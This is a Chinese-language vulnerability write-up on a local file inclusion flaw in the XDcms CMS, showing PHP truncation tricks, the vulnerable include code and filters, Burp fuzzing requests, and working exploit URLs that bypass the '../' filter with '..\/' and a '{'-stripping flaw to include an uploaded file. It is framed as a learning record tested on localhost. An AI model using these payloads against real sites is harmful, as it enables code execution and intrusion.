XDcms包含漏洞挖掘分析绕过

0x01前言

在通读企业管理系统XDcms源码的时候,发现了XDcms包含漏洞,记录下我的挖掘过程,分析,防御绕过的过程。这个漏洞虽然存在企业管理系统XDcms全版本,但是没有上传的地方。就可以直接发出来,作为一个学习的记录。

0x02 包含漏洞截断

第一种
%00截断(%00截断受限于GPC和addslashed等函数过滤,PHP5.3后修复了%00截断的问题。)

1
2
3
4
<?php
echo $_GET['a'].'php';
include $_GET['a'].'php';
?>

1
http://127.0.0.1/test.php?a=2.txt%00

第二种
.截断 或者 ./截断 (PHP5.3后修复了该类截断的问题。)

1
2
3
4
5
6
7
8
9
<?php
$str = '';
for($i=0;$i<=240;$i++){
$str.='.';
}
$str = '2.txt'.$str;
echo $str;
include $str.'php';
?>

第三种
?截断(只适用于远程包含,要开启allow_url_include)

1
2
3
4
<?php
echo $_GET['a'].'php';
include $_GET['a'].'php';
?>

1
http://127.0.0.1/test.php?a=http://127.0.0.1/2.txt?

企业网站管理系统XDcms包含漏洞分析

在global.inc.php文件中,跟踪下m f c参数


由此知道了m是相对目录,c代表文件名,f代表方法。

global.inc.php文件中

1
2
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
include MOD_PATH.$m."/".$c.".php"; //调用类

下面的判断没有使用exit,只有一个跳转。说明只要我们包含成功,还是可以我们的代码的。

1
2
3
4
5
6
7
8
//判断模块是否存在
if(!file_exists(MOD_PATH.$m)){
showmsg(C('module_not_exist'),'/');
}
//判断类文件是否存在
if(!file_exists(MOD_PATH.$m."/".$c.".php")){
showmsg(C('class_not_exist'),'/');
}

在这里可以看到有一个本地包含。但是有safe_html safe_replace 函数过滤。
直接使用%00截断包含先试试

1
http://127.0.0.1/index.php?m=content&c=../../../uploadfile/lufei.jpg%00&f=show&catid=10&contentid=33

结果发现


没有包含成功,然后再仔细看下安全过滤函数,safe_replace和safe_html函数。

fun.inc.php文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

1
2
3
4
5
6
7
//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
|\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
}

在这里可以看到safe_replace函数对包含漏洞没什么影响,在safe_html发现了

1
|\.\.\/|\.\/| \b

对.././ 和 ./过滤,这样就不能跨目录了。

但是还是有办法对他进行绕过。

FUZZ绕过防御

1
2
3
4
<?php
echo $_GET['a'];
include $_GET['a'];
?>

然后用burp进行抓包intruder

第一种
对”/“进行fuzz看是否可以被其他的字符代替。

1
2
3
4
5
6
7
8
9
10
GET /system/test.php?a=..%§00§lufei.jpg HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: bdshare_firstime=1476525517154; 00v30_sessid_9d414774b039=2016-ag-n6p532v-j34uv4fu7-0397cad9d; 00v30_Uniqueid_7521d4db160a=2016-ag-n6wk3mx-jj8hvqyax-60aff685a; Hm_lvt_948dba1e5d873b9c1f1c77078c521c89=1476524347,1476783716; PHPSESSID=c31158925e4554b21454225feb490add

结果

1
2
/system/test.php?a=../lufei.jpg
/system/test.php?a=..\lufei.jpg

第二种
添加一个字符是否可以还可以进行包含。

1
2
3
4
5
6
7
8
9
10
GET /system/test.php?a=..%§00§/lufei.jpg HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: bdshare_firstime=1476525517154; 00v30_sessid_9d414774b039=2016-ag-n6p532v-j34uv4fu7-0397cad9d; 00v30_Uniqueid_7521d4db160a=2016-ag-n6wk3mx-jj8hvqyax-60aff685a; Hm_lvt_948dba1e5d873b9c1f1c77078c521c89=1476524347,1476783716; PHPSESSID=c31158925e4554b21454225feb490add

结果

1
2
3
/system/test.php?a=.../lufei.jpg
/system/test.php?a=..//lufei.jpg
/system/test.php?a=..\/lufei.jpg

因为safe_html函数过滤的是../,前面fuzz出来的可以使..\/,从而绕过了防御。
然后使用intruder出来的结果

1
http://127.0.0.1/index.php?m=content&c=..\/..\/..\/uploadfile/lufei.jpg%00&f=show&catid=10&contentid=33

我直接在uploadfile目录中新建了lufei.jpg 代码是显示phpinfo();

程序自我缺陷绕过防御

1
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";

这句代码是先进行检测是否包含危险的注入语句,然后再替换一些字符。嗯。。。。
这危害就大了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

我先把一些字符比如select 变成 sel{ec{t 这样,safe_html,就检测不出这个危险的字符,然后safe_replace把{去掉,变成了select,危险字符还原回来了。
所以这个safe_html函数的防御变得毫无作用。

就这个本地包含漏洞来说

1
http://127.0.0.1/index.php?m=content&c=..{/..{/..{/uploadfile/lufei.jpg%00&f=show&catid=10&contentid=33

当然还可以利用到其他的方面上去,比如sql注入方面的绕过。